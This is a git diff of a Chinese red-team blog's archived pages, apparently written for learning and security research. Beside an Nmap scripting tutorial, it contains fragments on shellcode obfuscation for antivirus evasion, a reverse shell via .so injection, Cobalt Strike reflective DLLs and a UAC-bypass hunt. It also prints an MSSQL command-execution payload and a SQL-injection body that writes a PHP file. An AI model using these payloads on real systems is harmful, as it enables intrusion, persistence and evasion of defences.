既然加域嘛,肯定选择带有域的,单击“下一步”:

2019-04-13-00-15-34

这个时候你需要在域控上创建一个用户:

2019-04-13-00-15-49

主要填写“登录名”就可以了

2019-04-13-00-16-05

单击“下一步”,设置密码:

2019-04-13-00-16-14

下一步,创建完成。

此时回到Windows 10,填写好这个创建好的用户:

2019-04-13-00-16-28

2019-04-13-00-16-33

单击“下一步”:

2019-04-13-00-16-45

这里授予权限时,设置为“Users”,不然很多东西操作不了。

2019-04-13-00-16-55

单击“完成”,重启计算机。

2019-04-13-00-17-05

2019-04-13-00-17-10

此时,客户机既能上网,也能处于域环境下。

\ No newline at end of file diff --git a/archivers/2019-04-24/1/index.html b/archivers/2019-04-24/1/index.html index 67d38bc..4d54bad 100644 --- a/archivers/2019-04-24/1/index.html +++ b/archivers/2019-04-24/1/index.html @@ -1,3 +1,3 @@ Nmap扩展开发(一) - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

24 -Apr 2019

Nmap扩展开发(一)

0x00 前言

PS :如果你不知道你是否需要学习这个技术,那么我可以先告诉你Nmap能够做什么:

  • 网络结构画像
  • 漏洞扫描
  • 漏洞利用
  • 端口扫描
  • 爬虫
  • 信息搜集
  • ….

我的分类不是很清晰,但是对于一个渗透测试人员、运维人员、甲、乙方的工程师都会需要它的定制化功能,例如:将扫描结果写到数据库?新的漏洞出了POC,客户需要立即进行漏洞扫描?

导出扫描结果这个问题,Nmap官方做出如下回应:

Nmap Network Scanning

一个共同的愿望是将Nmap结果输出到数据库以便于查询和跟踪。这允许用户来自个人渗透测试仪 到国际企业存储他们的所有扫描结果并轻松比较它们。企业可能每天运行大型扫描,并为新打开的端口或可用计算机的邮件管理员安排查询。渗透测试人员可能会了解新漏洞并搜索受影响应用程序的所有旧扫描结果,以便他可以警告相关客户端。研究人员可以扫描数百万个IP地址,并将结果保存在数据库中,以便进行实时查询。

虽然这些目标值得称赞,但Nmap不提供直接的数据库输出功能。我不仅有太多不同的数据库类型支持它们,而且用户的需求变化如此之大,以至于没有单一的数据库模式是合适的。企业,笔测试员和研究人员的需求都需要不同的表结构。

而很多朋友大多都是使用Python来调用Nmap进行格式解析,这种方式无法预估扫描进度,不能进行状态交互,效率很差,如果我们需要一个实时进行独写、漏洞检测等定制化的操作,那么就可以跟我一起来学习如何写一个自己的Nmap脚本,这本书涵盖的知识比较多,会涉及安全、网络协议、编程技术这些相关知识,相信你能够收获很多。

笔者写扩展脚本开发系列的初衷是让大家了解nmap这个优秀的开源工具的功能,解决一些定制化的扫描需求。

在开始之前,需要读者具备:能够熟练使用Nmap进行端口扫描、了解Nmap目录结构、懂得常见的网络知识、Lua基础(如果需要的话,我会在后期铺垫)

0x02 Nmap扩展脚本分类

  • auth 处理身份验证
  • broadcast 网络广播
  • brute 暴力猜解
  • default 默认
  • discovery 服务发现
  • dos 拒绝服务
  • exploit 漏洞利用
  • external 外部扩展
  • fuzzer 模糊测试
  • intrusive 扫描可能造成不良后果
  • malware 检测后门
  • safe 扫描危害较小
  • version 版本识别
  • vuln 漏洞检测

0X03 Nmap扩展脚本铺垫

相信网上已经有很多文章去写如何使用扩展脚本了,这块我不准备过多的铺垫。

主要介绍如下几点:

  • Nmap扩展脚本用途
  • Nmap扩展脚本使用方法
  • 如何查看Nmap扩展脚本的Usage(使用方法)

0X03 Nmap扩展脚本用途

Nmap扩展脚本能够帮助我们实现更多定制化的需求扫描、结果的处理、漏洞的检测、漏洞的利用等。在0x02中已经列出了扩展脚本的分类,根据说明我们能理解一个大概,这些分类代表了Nmap各个方面的能力。

0x03 Nmap扩展脚本使用方法

在很早之前,我写过一篇科普文章,主要介绍了Nmap的脚本分类、使用方法,链接:

http://zhuanlan.zhihu.com/p/26618074

本章没有太多概念性的东西,希望读者能够边看边做。首先设定一个需求,我有一个需要搜集某个IP或某组IP所有开放HTTP服务的中间件信息。那么Nmap有一个脚本是可以直接满足我们需求的:

http-server-header.nse

扫描命令:nmap --script=http-server-header <TARGET>

例如我需要扫描192.168.85.132的HTTP服务的中间件信息,使用Nmap时需要输入以下命令:

nmap --script=http-server-header 192.168.85.132

执行结果如下:

2019-04-24-09-51-33

从扫描结果可以看出,在扫描到80端口的开放状态及服务名称下方会输出关于http-server-header脚本的结果:Apache/2.4.29 (Debian)

一般情况下,在nmap安装目录下有一个scripts文件夹,里面存放了很多供我们调用的脚本,脚本的语言是lua,文件扩展名是nse。使用脚本时我们不需要输入脚本的全名,例如,调用http-server-header.nse时,只需要输入文件名http-server-header即可。

下面介绍一些带参数的扩展脚本使用方法。同样的,设定一个需求,我需要扫描192.168.85.132的HTTP服务下有哪些目录或者文件,那么可以采用http-enum.nse脚本。

http-enum.nse用于枚举http服务下的目录或文件

但是单单使用这个脚本,而不根据实际情况设定内置参数,结果可能并不理想。这个脚本有一些参数:

  • http-enum.basepath 开始目录
  • http-enum.displayall 是否显示全部(默认HTTP状态码200显示,401不显示)
  • http-enum.fingerprintfile 指定其他文件,从中读取指纹
  • http-enum.category 设置类别(‘attacks’,‘database’, ‘general’, ‘microsoft’, ‘printer’)
  • http-fingerprints.nikto-db-path 指定nikto数据库的路径

假设要从admin目录开始进行枚举,需要输入如下命令:

nmap --script=http-enum --script-args 'http-enum.basepath=admin' 192.168.85.132

2019-04-24-09-52-35

0X03 如何查看Nmap扩展脚本的Usage(使用方法)

使用–script-help参数

nmap --script-help=http-enum

2019-04-24-09-53-19

直接查看脚本文件

cat /usr/share/nmap/scripts/http-enum.nse

2019-04-24-09-53-40

下一章:扩展脚本(NSE引擎)执行规则

\ No newline at end of file +Apr 2019

Nmap扩展开发(一)

0x00 前言

PS :如果你不知道你是否需要学习这个技术,那么我可以先告诉你Nmap能够做什么:

我的分类不是很清晰,但是对于一个渗透测试人员、运维人员、甲、乙方的工程师都会需要它的定制化功能,例如:将扫描结果写到数据库?新的漏洞出了POC,客户需要立即进行漏洞扫描?

导出扫描结果这个问题,Nmap官方做出如下回应:

Nmap Network Scanning

一个共同的愿望是将Nmap结果输出到数据库以便于查询和跟踪。这允许用户来自个人渗透测试仪 到国际企业存储他们的所有扫描结果并轻松比较它们。企业可能每天运行大型扫描,并为新打开的端口或可用计算机的邮件管理员安排查询。渗透测试人员可能会了解新漏洞并搜索受影响应用程序的所有旧扫描结果,以便他可以警告相关客户端。研究人员可以扫描数百万个IP地址,并将结果保存在数据库中,以便进行实时查询。

虽然这些目标值得称赞,但Nmap不提供直接的数据库输出功能。我不仅有太多不同的数据库类型支持它们,而且用户的需求变化如此之大,以至于没有单一的数据库模式是合适的。企业,笔测试员和研究人员的需求都需要不同的表结构。

而很多朋友大多都是使用Python来调用Nmap进行格式解析,这种方式无法预估扫描进度,不能进行状态交互,效率很差,如果我们需要一个实时进行独写、漏洞检测等定制化的操作,那么就可以跟我一起来学习如何写一个自己的Nmap脚本,这本书涵盖的知识比较多,会涉及安全、网络协议、编程技术这些相关知识,相信你能够收获很多。

笔者写扩展脚本开发系列的初衷是让大家了解nmap这个优秀的开源工具的功能,解决一些定制化的扫描需求。

在开始之前,需要读者具备:能够熟练使用Nmap进行端口扫描、了解Nmap目录结构、懂得常见的网络知识、Lua基础(如果需要的话,我会在后期铺垫)

0x02 Nmap扩展脚本分类

0X03 Nmap扩展脚本铺垫

相信网上已经有很多文章去写如何使用扩展脚本了,这块我不准备过多的铺垫。

主要介绍如下几点:

0X03 Nmap扩展脚本用途

Nmap扩展脚本能够帮助我们实现更多定制化的需求扫描、结果的处理、漏洞的检测、漏洞的利用等。在0x02中已经列出了扩展脚本的分类,根据说明我们能理解一个大概,这些分类代表了Nmap各个方面的能力。

0x03 Nmap扩展脚本使用方法

在很早之前,我写过一篇科普文章,主要介绍了Nmap的脚本分类、使用方法,链接:

http://zhuanlan.zhihu.com/p/26618074

本章没有太多概念性的东西,希望读者能够边看边做。首先设定一个需求,我有一个需要搜集某个IP或某组IP所有开放HTTP服务的中间件信息。那么Nmap有一个脚本是可以直接满足我们需求的:

http-server-header.nse

扫描命令:nmap --script=http-server-header <TARGET>

例如我需要扫描192.168.85.132的HTTP服务的中间件信息,使用Nmap时需要输入以下命令:

nmap --script=http-server-header 192.168.85.132

执行结果如下:

2019-04-24-09-51-33

从扫描结果可以看出,在扫描到80端口的开放状态及服务名称下方会输出关于http-server-header脚本的结果:Apache/2.4.29 (Debian)

一般情况下,在nmap安装目录下有一个scripts文件夹,里面存放了很多供我们调用的脚本,脚本的语言是lua,文件扩展名是nse。使用脚本时我们不需要输入脚本的全名,例如,调用http-server-header.nse时,只需要输入文件名http-server-header即可。

下面介绍一些带参数的扩展脚本使用方法。同样的,设定一个需求,我需要扫描192.168.85.132的HTTP服务下有哪些目录或者文件,那么可以采用http-enum.nse脚本。

http-enum.nse用于枚举http服务下的目录或文件

但是单单使用这个脚本,而不根据实际情况设定内置参数,结果可能并不理想。这个脚本有一些参数:

假设要从admin目录开始进行枚举,需要输入如下命令:

nmap --script=http-enum --script-args 'http-enum.basepath=admin' 192.168.85.132

2019-04-24-09-52-35

0X03 如何查看Nmap扩展脚本的Usage(使用方法)

使用–script-help参数

nmap --script-help=http-enum

2019-04-24-09-53-19

直接查看脚本文件

cat /usr/share/nmap/scripts/http-enum.nse

2019-04-24-09-53-40

下一章:扩展脚本(NSE引擎)执行规则

\ No newline at end of file diff --git a/archivers/2019-04-24/2/index.html b/archivers/2019-04-24/2/index.html index 39015b3..cb41ba9 100644 --- a/archivers/2019-04-24/2/index.html +++ b/archivers/2019-04-24/2/index.html @@ -72,4 +72,4 @@ end postrule=function() end -

我本机开启了一个80端口,但是action执行了两次:

2019-04-24-10-00-22

第一次是hostrule返回true而调用的,第二次是由portrule函数扫描到80端口返回true而调用的。

下一章:扩展脚本-主机、端口对象

\ No newline at end of file +

我本机开启了一个80端口,但是action执行了两次:

2019-04-24-10-00-22

第一次是hostrule返回true而调用的,第二次是由portrule函数扫描到80端口返回true而调用的。

下一章:扩展脚本-主机、端口对象

\ No newline at end of file diff --git a/archivers/2019-04-24/3/index.html b/archivers/2019-04-24/3/index.html index a5d82b0..dccd2a8 100644 --- a/archivers/2019-04-24/3/index.html +++ b/archivers/2019-04-24/3/index.html @@ -99,4 +99,4 @@ end postrule=function() end -

执行效果如下:

2019-04-24-10-06-19

可见在portrule返回true的时候才会执行action函数,在脚本刚开始执行前,声明了一个http_table全局变量,当遇到端口80/443时,会把当前主机的MAC地址装入http_table,在action中返回。

对象结构图:

2019-04-24-10-06-46

下一章:HTTP包的使用

会介绍HTTP包的使用,并且会教大家写一些批量检测HTTP协议相关的漏洞脚本,例如:CVE-2017-12615

\ No newline at end of file +

执行效果如下:

2019-04-24-10-06-19

可见在portrule返回true的时候才会执行action函数,在脚本刚开始执行前,声明了一个http_table全局变量,当遇到端口80/443时,会把当前主机的MAC地址装入http_table,在action中返回。

对象结构图:

2019-04-24-10-06-46

下一章:HTTP包的使用

会介绍HTTP包的使用,并且会教大家写一些批量检测HTTP协议相关的漏洞脚本,例如:CVE-2017-12615

\ No newline at end of file diff --git a/archivers/2019-05-09/1/index.html b/archivers/2019-05-09/1/index.html index b88ec1f..4295962 100644 --- a/archivers/2019-05-09/1/index.html +++ b/archivers/2019-05-09/1/index.html @@ -78,4 +78,4 @@ print "Success" except smtplib.SMTPException: print "Error" -
\ No newline at end of file +
\ No newline at end of file diff --git a/archivers/2019-10-02/1/index.html b/archivers/2019-10-02/1/index.html index 51b66eb..b09a5e8 100644 --- a/archivers/2019-10-02/1/index.html +++ b/archivers/2019-10-02/1/index.html @@ -134,4 +134,4 @@ MessageBox(NULL,TEXT("-Test-"),TEXT("Rundll32"),MB_OK); } -

2019-10-02-19-58-36

  1. 使用rundll32运行dll

2019-10-02-20-00-18

通过进程列表查看:

2019-10-02-20-00-54

2019-10-02-20-04-38

使用wmic process get commandline也可以获得命令行详情:

2019-10-02-20-02-49

还有一种方式是获得该进程加载的模块,这是最精确的了;但windows 7不能直接看到,需要借助工具。(win10可以通过任务查看器看到..)

2019-10-02-20-08-24

这个dll是没有DllMain也能够正常运行的,并不是所有的dll都有DllMain这个函数

我经过实验后发现,一个dll有没有DllMain完全取决于当前这个dll对于功能的需求,如果对装载方式的状态没有特定的要求,完全可以省去编写DllMain,因为DllMain不是一个导出函数,永远是一个由系统被动调用的函数。

\ No newline at end of file +

2019-10-02-19-58-36

  1. 使用rundll32运行dll

2019-10-02-20-00-18

通过进程列表查看:

2019-10-02-20-00-54

2019-10-02-20-04-38

使用wmic process get commandline也可以获得命令行详情:

2019-10-02-20-02-49

还有一种方式是获得该进程加载的模块,这是最精确的了;但windows 7不能直接看到,需要借助工具。(win10可以通过任务查看器看到..)

2019-10-02-20-08-24

这个dll是没有DllMain也能够正常运行的,并不是所有的dll都有DllMain这个函数

我经过实验后发现,一个dll有没有DllMain完全取决于当前这个dll对于功能的需求,如果对装载方式的状态没有特定的要求,完全可以省去编写DllMain,因为DllMain不是一个导出函数,永远是一个由系统被动调用的函数。

\ No newline at end of file diff --git a/archivers/2019-11-10/1/index.html b/archivers/2019-11-10/1/index.html index 5d510cc..eb0b207 100644 --- a/archivers/2019-11-10/1/index.html +++ b/archivers/2019-11-10/1/index.html @@ -90,4 +90,4 @@ main()

上面这个脚本是我在去年写的,用于把raw文件混淆,生成c语言数组,在后面的文章中,我们也以c/c++语言为主,探究其本质。

混淆方案

先生成bin文件,然后运行python脚本:

1
 
python3 .\xor_shellcoder.py -s .\payload.bin  -d payload.c -n 10 -r out.bin
-

在payload.c中会看到raw文件里的每一个字节与10的异或运算出的C语言数组。

2019-11-10-01-57-13

这个数组的内容,将由下一篇文章用到,实践一下Shellcode混淆免杀。

注:-r 参数输出的是混淆过的二进制版本shellcode,-d 参数输出的是C语言格式的shellcode

\ No newline at end of file +

在payload.c中会看到raw文件里的每一个字节与10的异或运算出的C语言数组。

2019-11-10-01-57-13

这个数组的内容,将由下一篇文章用到,实践一下Shellcode混淆免杀。

注:-r 参数输出的是混淆过的二进制版本shellcode,-d 参数输出的是C语言格式的shellcode

\ No newline at end of file diff --git a/archivers/2019-11-10/2/index.html b/archivers/2019-11-10/2/index.html index aae5f2d..5a43b19 100644 --- a/archivers/2019-11-10/2/index.html +++ b/archivers/2019-11-10/2/index.html @@ -194,4 +194,4 @@ WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束 return 0; } -

上线效果:

2019-11-10-02-03-50

2019-11-10-02-03-57

V站查杀:

2019-11-10-02-04-08

https://www.virustotal.com/gui/file/a12105a78ccc3228bae12c170782c71b8212bd44e65f519947c6136f17e04723/detection

\ No newline at end of file +

上线效果:

2019-11-10-02-03-50

2019-11-10-02-03-57

V站查杀:

2019-11-10-02-04-08

https://www.virustotal.com/gui/file/a12105a78ccc3228bae12c170782c71b8212bd44e65f519947c6136f17e04723/detection

\ No newline at end of file diff --git a/archivers/2019-11-10/3/index.html b/archivers/2019-11-10/3/index.html index 6d13f6b..5645c9c 100644 --- a/archivers/2019-11-10/3/index.html +++ b/archivers/2019-11-10/3/index.html @@ -238,4 +238,4 @@ WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束 return 0; } -

https://www.virustotal.com/gui/file/07cd0fc7240f2978ebfaa6211a5818dcbbd12a76ec670d219b7a9b559e7bf9d2/detection

\ No newline at end of file +

https://www.virustotal.com/gui/file/07cd0fc7240f2978ebfaa6211a5818dcbbd12a76ec670d219b7a9b559e7bf9d2/detection

\ No newline at end of file diff --git a/archivers/2019-11-10/4/index.html b/archivers/2019-11-10/4/index.html index 445ec0f..d1d5c5e 100644 --- a/archivers/2019-11-10/4/index.html +++ b/archivers/2019-11-10/4/index.html @@ -186,4 +186,4 @@ return 0; } -

本实例主要是通过一个线程函数充当一个管道客户端,使用管道客户端连接管道,发送Shellcode,然后由管道服务端接收,并反混淆,运行木马线程。

2019-11-10-02-07-41

V站结果:https://www.virustotal.com/gui/file/b81f3d2e6b72f908c861b0b6e1f504af33ef60825b36af3d21bfe90fce160ae4/detection

\ No newline at end of file +

本实例主要是通过一个线程函数充当一个管道客户端,使用管道客户端连接管道,发送Shellcode,然后由管道服务端接收,并反混淆,运行木马线程。

2019-11-10-02-07-41

V站结果:https://www.virustotal.com/gui/file/b81f3d2e6b72f908c861b0b6e1f504af33ef60825b36af3d21bfe90fce160ae4/detection

\ No newline at end of file diff --git a/archivers/2020-01-01/1/index.html b/archivers/2020-01-01/1/index.html index b981588..4570b94 100644 --- a/archivers/2020-01-01/1/index.html +++ b/archivers/2020-01-01/1/index.html @@ -142,4 +142,4 @@ result = new_puts(message); return result; } -

2020-01-03-13-10-13

在执行至第零次、五次时,成功返回了会话:

2020-01-03-13-10-21

COMMAND_NUM 可自定义

\ No newline at end of file +

2020-01-03-13-10-13

在执行至第零次、五次时,成功返回了会话:

2020-01-03-13-10-21

COMMAND_NUM 可自定义

\ No newline at end of file diff --git a/archivers/2020-01-01/2/index.html b/archivers/2020-01-01/2/index.html index cf7d204..f33c5e7 100644 --- a/archivers/2020-01-01/2/index.html +++ b/archivers/2020-01-01/2/index.html @@ -135,4 +135,4 @@ pthread_t thread_id; pthread_create(&thread_id,NULL,hello,NULL); } -

执行效果:

2020-01-03-13-12-35

Kali Linux获得bash shell:

2020-01-03-13-12-46

在实战应用中,需要关闭ptrace的限制,然后注入.so到某个服务进程中,这样达到权限维持的目的。

\ No newline at end of file +

执行效果:

2020-01-03-13-12-35

Kali Linux获得bash shell:

2020-01-03-13-12-46

在实战应用中,需要关闭ptrace的限制,然后注入.so到某个服务进程中,这样达到权限维持的目的。

\ No newline at end of file diff --git a/archivers/2020-01-01/3/index.html b/archivers/2020-01-01/3/index.html index 861d961..6f17f2b 100644 --- a/archivers/2020-01-01/3/index.html +++ b/archivers/2020-01-01/3/index.html @@ -40,4 +40,4 @@
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\who.txt'
 

后续我发现该服务器无法出网,还是站库分离

因此无法执行操作系统命令

0x05 写入文件

在写文件这块,我浪费了大量的时间,首先要确定能否向站点目录写文件,当前写文件的操作是否被拦截等等因素。

一开始的思路是调用xp_cmdshell,采用echo去写,目前已无法执行命令,就此作罢,吸了一口芙蓉王,精神焕发,遂查到数据库备份的方式。

提交:

1
 
{"ClientType": "", "ClientGuid": "09a37ee1-5ec3-46db-9279-4cb066622e8d", "ModuleType": "A2501';use test222;create table [dbo].[test2] ([cmd] [image]);insert/***/into/***/test2(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);backup database test222 to disk='C:\test2.bak' WITH DIFFERENTIAL,FORMAT;-- ", "IsBackEnd": false }
-

页面返回正常。

但是,我的站点目录如果是中文呢?在Burp里处理就非常麻烦!

还记得之前的IIS 7.5吗,IIS在接收到一个请求后,会自动将数据进行Unicode解码,如果流量设备、WAF不支持此特性的话,就可以进行绕过,这里我着重解决中文目录的问题。

2020-01-03-13-14-38

到这此文就结束了,我并没有成功Getshell,只是回顾我解决问题的思维方式,希望能对大家有用!

\ No newline at end of file +

页面返回正常。

但是,我的站点目录如果是中文呢?在Burp里处理就非常麻烦!

还记得之前的IIS 7.5吗,IIS在接收到一个请求后,会自动将数据进行Unicode解码,如果流量设备、WAF不支持此特性的话,就可以进行绕过,这里我着重解决中文目录的问题。

2020-01-03-13-14-38

到这此文就结束了,我并没有成功Getshell,只是回顾我解决问题的思维方式,希望能对大家有用!

\ No newline at end of file diff --git a/archivers/2020-01-25/1/index.html b/archivers/2020-01-25/1/index.html index 34158fe..d6a2fbb 100644 --- a/archivers/2020-01-25/1/index.html +++ b/archivers/2020-01-25/1/index.html @@ -1,3 +1,3 @@ 2019年度总结随想 - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

25 -Jan 2020

2019年度总结随想

关于我的自述

2019年是我成长与变化最大的一年,从前的我从自闭、抑郁、不自信到今天,已经阳光到不行不行了,从上家单位离职时,依稀记得和领导说:“有问题我就去解决问题”,还真是乐观的冲锋派。


如果让我用几个词总结2019,那么我会给出如下答案:青春、感动、视角、沉稳。

2019 我组建了一个实验室,第一感觉就是青春,与年龄增长无关,而是一种无所遁形的向心力和张力,给我的人生画下了重要的一笔。同时在共同克服难题的过程中,大家相互体谅,我无以言表,只能不断为大家争取更多的利益,让大家都有成长。我个人认为20岁-25岁还没有学会如何成长,那这个人将会是最快被淘汰的一个,这五年内要对事物的规律拥有一定的掌控力,不然就失去了核心竞争力。再来说说“视角”,从不同人的角度去考虑同一个问题这就是简单的切换视角,不断的切换视角是情商高的表现。某天和我的Leader聊天的时候,聊到部门的建设,我说部门发展至今,有几个前提条件,第一是公司的信任,高层认为这个投入与产出是合理的,第二是资源的倾斜,最典型的表现就是经济特区的开放,第三个就是优秀的价值观宣贯。这三点是我站在从前从未有过得视角总结出来的,或者说没有这个视角也不会思考这种问题。就好像看着天空上的云朵,但是背后还有一大片苍穹和宇宙。

抓住该有的执着

我非常热爱技术,什么都想会一点,至今为止都觉得全能高手是存在的,也不会浮躁,只优先选择自己热爱的,这点是有些固执的,时常沉浸其中、乐在其中,做技术带给我的反馈有很多,它不断的印证一就是一,不管如何都不会变成二。其次,不断印证类似于成功学中的大道理,努力就有收获之类的话题。技术是我的爱好,而我的工作建设在爱好之上,这对于许多人来说是多么幸福的一件事啊。但有一天我开始怀疑,因为我从一个前辈身上感受到,他除了有和我相同类似的工作的同时,还拥有一个更热爱的爱好,我觉得这是对幸福的一种加持。我开始觉得工作与爱好的融合会让爱好变得浑浊,不那么纯粹。工作是有棱角的,而爱好是没有棱角的。这样的情况普遍也很多,这倒也还算过得去。

最后的最后

现在是2020.01.25 01:12 ,在杭州。今年没有回家,外面疫情还在慢慢控制,和家人基本没有怎么出门,还好家人立马重视起来了,都戴了口罩,希望这个疫情快快消散,大家都永远健康。

2020年,愿我的朋友们,只争朝夕,不负韶华,能遇到更好的自己!

  • 倾旋
  • 2020.01.25 01:12
\ No newline at end of file +Jan 2020

2019年度总结随想

关于我的自述

2019年是我成长与变化最大的一年,从前的我从自闭、抑郁、不自信到今天,已经阳光到不行不行了,从上家单位离职时,依稀记得和领导说:“有问题我就去解决问题”,还真是乐观的冲锋派。


如果让我用几个词总结2019,那么我会给出如下答案:青春、感动、视角、沉稳。

2019 我组建了一个实验室,第一感觉就是青春,与年龄增长无关,而是一种无所遁形的向心力和张力,给我的人生画下了重要的一笔。同时在共同克服难题的过程中,大家相互体谅,我无以言表,只能不断为大家争取更多的利益,让大家都有成长。我个人认为20岁-25岁还没有学会如何成长,那这个人将会是最快被淘汰的一个,这五年内要对事物的规律拥有一定的掌控力,不然就失去了核心竞争力。再来说说“视角”,从不同人的角度去考虑同一个问题这就是简单的切换视角,不断的切换视角是情商高的表现。某天和我的Leader聊天的时候,聊到部门的建设,我说部门发展至今,有几个前提条件,第一是公司的信任,高层认为这个投入与产出是合理的,第二是资源的倾斜,最典型的表现就是经济特区的开放,第三个就是优秀的价值观宣贯。这三点是我站在从前从未有过得视角总结出来的,或者说没有这个视角也不会思考这种问题。就好像看着天空上的云朵,但是背后还有一大片苍穹和宇宙。

抓住该有的执着

我非常热爱技术,什么都想会一点,至今为止都觉得全能高手是存在的,也不会浮躁,只优先选择自己热爱的,这点是有些固执的,时常沉浸其中、乐在其中,做技术带给我的反馈有很多,它不断的印证一就是一,不管如何都不会变成二。其次,不断印证类似于成功学中的大道理,努力就有收获之类的话题。技术是我的爱好,而我的工作建设在爱好之上,这对于许多人来说是多么幸福的一件事啊。但有一天我开始怀疑,因为我从一个前辈身上感受到,他除了有和我相同类似的工作的同时,还拥有一个更热爱的爱好,我觉得这是对幸福的一种加持。我开始觉得工作与爱好的融合会让爱好变得浑浊,不那么纯粹。工作是有棱角的,而爱好是没有棱角的。这样的情况普遍也很多,这倒也还算过得去。

最后的最后

现在是2020.01.25 01:12 ,在杭州。今年没有回家,外面疫情还在慢慢控制,和家人基本没有怎么出门,还好家人立马重视起来了,都戴了口罩,希望这个疫情快快消散,大家都永远健康。

2020年,愿我的朋友们,只争朝夕,不负韶华,能遇到更好的自己!

\ No newline at end of file diff --git a/archivers/2020-03-02/1/index.html b/archivers/2020-03-02/1/index.html index 6337858..dc590f9 100644 --- a/archivers/2020-03-02/1/index.html +++ b/archivers/2020-03-02/1/index.html @@ -62,4 +62,4 @@ } return bReturnValue; } -

很明显,这是一个DLL的主函数,在经过DLL_PROCESS_ATTACH的时候,开始执行代码。程序通过DLLMain函数的lpReserved来当做参数传递。

但光看一个DLLMain是看不出后面的奇妙的,我们把目光转向反射DLL注入技术的作者:

2020-03-01-11-25-55

这里有一个完整示例。

通过跟踪代码:https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/inject/src/LoadLibraryR.c

2020-03-01-11-26-06

发现该函数会寻找ReflectiveLoader这个导出函数的地址,然后直接创建一个远程线程执行这个函数,这个函数本身又会自动模拟整个LoadLibrary API,从而执行DLLMain,最终完成代码执行。

开发自己的反射DLL

首先,可以直接将反射DLL注入作者的项目拿过来使用:

2020-03-01-11-26-50

接着就要编写cna脚本了。

2020-03-01-11-27-00

文件目录:

2020-03-01-11-27-08

通过Cobaltstrike加载后,可以执行reflective_dll在客户端弹出一个信息框。

2020-03-01-11-27-21

整个过程是拥有极少的敏感行为特征,因此可以非常容易的绕过一些反病毒查杀。

\ No newline at end of file +

很明显,这是一个DLL的主函数,在经过DLL_PROCESS_ATTACH的时候,开始执行代码。程序通过DLLMain函数的lpReserved来当做参数传递。

但光看一个DLLMain是看不出后面的奇妙的,我们把目光转向反射DLL注入技术的作者:

2020-03-01-11-25-55

这里有一个完整示例。

通过跟踪代码:https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/inject/src/LoadLibraryR.c

2020-03-01-11-26-06

发现该函数会寻找ReflectiveLoader这个导出函数的地址,然后直接创建一个远程线程执行这个函数,这个函数本身又会自动模拟整个LoadLibrary API,从而执行DLLMain,最终完成代码执行。

开发自己的反射DLL

首先,可以直接将反射DLL注入作者的项目拿过来使用:

2020-03-01-11-26-50

接着就要编写cna脚本了。

2020-03-01-11-27-00

文件目录:

2020-03-01-11-27-08

通过Cobaltstrike加载后,可以执行reflective_dll在客户端弹出一个信息框。

2020-03-01-11-27-21

整个过程是拥有极少的敏感行为特征,因此可以非常容易的绕过一些反病毒查杀。

\ No newline at end of file diff --git a/archivers/2020-03-02/2/index.html b/archivers/2020-03-02/2/index.html index 23eff23..1d76682 100644 --- a/archivers/2020-03-02/2/index.html +++ b/archivers/2020-03-02/2/index.html @@ -1,3 +1,3 @@ 红队分享-如何挖掘Windows Bypass UAC(第一课) - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

02 -Mar 2020

红队分享-如何挖掘Windows Bypass UAC(第一课)

什么是UAC

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

先观察一下:

  • 在Windows 7下打开注册表

2020-03-01-11-29-43

  • 在Windows 7上管理计算机

2020-03-01-11-29-52

  • 在Windows 10上管理计算机

2020-03-01-11-30-00

有的需要授权、有的不需要,是因为UAC是分授权等级的:

首先请按Win+R,输入gpedit.msc,打开组策略。

然后我们在左侧窗口找到“计算机配置–Windows设置–安全设置–本地策略–安全选项”,再在右侧窗口找到“用户帐户控制: 管理员批准模式中管理员的提升权限提示的行为”,双击该条目,打开设置窗口,如下图:

2020-03-01-11-30-10

  • 不提示直接提升:关闭UAC,需要权限时直接提升权限。
  • 在安全桌面上提示凭据:需要权限时在安全桌面上输入管理员密码提升权限。
  • 在安全桌面上同意提示:需要权限时在安全桌面上选择“允许”提升权限。
  • 提示凭据:需要权限时在普通窗口中输入管理员密码提升权限。
  • 同意提示:需要权限时在普通窗口中选择“允许”提升权限。
  • 非 Windows 二进制文件的同意提示:(默认设置)当非 Microsoft 应用程序的某个操作需要提升权限时,选择“允许”提升权限。

为什么有的应用程序不需要提示UAC?

因为普通应用执行权限有限,某些操作必然会要求更高的管理员权限。此时,通常就需要一个权限提升的操作。程序可以向系统请求提权,系统会将此请求通过提一个提示框,请用户确认。

如果当前用户的用户组权限不是管理员,提权操作是要求输入管理员密码的,这点和在Linux中的相应操作类似。

  • 程序只能在运行前要求提权。如果已经在运行了,那么将失去申请提权的能力
  • 权限提升仅对此次进程有效

提升权限的操作大致有两个:

  • 自动提权请求
  • 手动提权请求

手动提权就是“以管理员身份运行”,自动提权请求就是程序本身就一运行就开始申请权限,如:注册表编辑器

在开发的过程中,程序员若要开发一个程序,可以在编译器配置,写入一个配置文件,用于向系统标识该应用程序是必须要管理员权限运行的。

manifest文件

这个文件本质上是一个XML文件,用于标识当前应用程序的配置属性。

2020-03-01-11-30-21

  • aslnvoker 默认权限
  • highestAvailable 最高权限
  • requireAdministrator 必须是管理员权限

我编译选项调整为requireAdministrator,当用户运行程序后,将获得管理员权限会话,不需要绕过UAC了。

manifest中其实还有其他属性,如:autoElevate(自动提升)

拥有自动权限提升属性的文件,当默认以管理员权限运行,不需要经过用户的授权。

寻找auto Elevate

工具地址:https://github.com/g3rzi/Manifesto

2020-03-01-11-30-30

通过不断遍历autoElevate属性,寻找自动权限提升的程序。

2020-03-01-11-30-37

我使用Powershell启动:C:\Windows\system32\eudcedit.exe

2020-03-01-11-30-50

发现没有弹出UAC确认,没有继承Powershell的权限,它的权限是High。

